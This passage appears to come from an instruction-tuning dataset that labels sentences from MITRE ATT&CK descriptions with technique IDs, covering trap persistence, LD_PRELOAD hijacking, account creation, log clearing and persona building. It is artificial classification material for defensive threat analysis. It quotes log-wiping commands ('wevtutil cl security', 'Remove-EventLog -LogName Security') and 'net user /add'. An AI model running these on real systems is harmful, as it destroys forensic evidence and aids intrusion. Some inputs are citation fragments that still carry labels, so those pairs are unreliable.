by an interrupt signal. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism.", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation:", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Trap Manual)(Citation:", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Trap Manual)(Citation: ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cyberciti Trap Statements)", "output": "T1546.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cyberciti Trap Statements) ### Response: T1546.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "How the operating system locates libraries to be used by a program can also be intercepted.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: How the operating system locates libraries to be used by a program can also be intercepted. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "output": "T1574", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. ### Response: T1574."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries)", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD) ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s <code>os.environ</code>.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s <code>os.environ</code>. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation:", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation: ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation:", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Catalina Bypass)", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Catalina Bypass) ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create an account to maintain access to victim systems.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create an account to maintain access to victim systems. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Accounts may be created on the local system or within a domain or cloud tenant.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Accounts may be created on the local system or within a domain or cloud tenant. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "output": "T1136", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. ### Response: T1136."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create a local account to maintain access to victim systems.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create a local account to maintain access to victim systems. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On macOS systems the <code>dscl -create</code> command can be used to create a local account.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On macOS systems the <code>dscl -create</code> command can be used to create a local account. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security) ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "output": "T1136.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. ### Response: T1136.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.", "output": "T1092", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. ### Response: T1092."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091).", "output": "T1092", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). ### Response: T1092."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", "output": "T1092", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access. ### Response: T1092."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may clear Windows Event Logs to hide the activity of an intrusion. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Event Logs are a record of a computer's alerts and notifications.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Event Logs are a record of a computer's alerts and notifications. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging.", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may use the PowerShell command <code>Remove-EventLog -LogName Security</code> to delete the Security EventLog and after reboot, disable future logging. ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)", "output": "T1070.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging) ### Response: T1070.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create and cultivate accounts with services that can be used during targeting.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create and cultivate accounts with services that can be used during targeting. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can create accounts that can be used to build a persona to further operations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can create accounts that can be used to build a persona to further operations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Persona development consists of the development of public information, presence, history and appropriate affiliations.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Persona development consists of the development of public information, presence, history and appropriate affiliations. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For operations incorporating social engineering, the utilization of an online persona may be important.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For operations incorporating social engineering, the utilization of an online persona may be important. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These personas may be fictitious or impersonate real people.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These personas may be fictitious or impersonate real people. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.).", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Establishing a persona may require development of additional documentation to make them seem real.", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Establishing a persona may require development of additional documentation to make them seem real. ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", "output": "T1585", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) ### Response: T1585."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create email accounts that can be used during targeting.", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create email accounts that can be used during targeting. ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation:", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors.", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1) ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)", "output": "T1585.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016) ### Response: T1585.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040),", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential 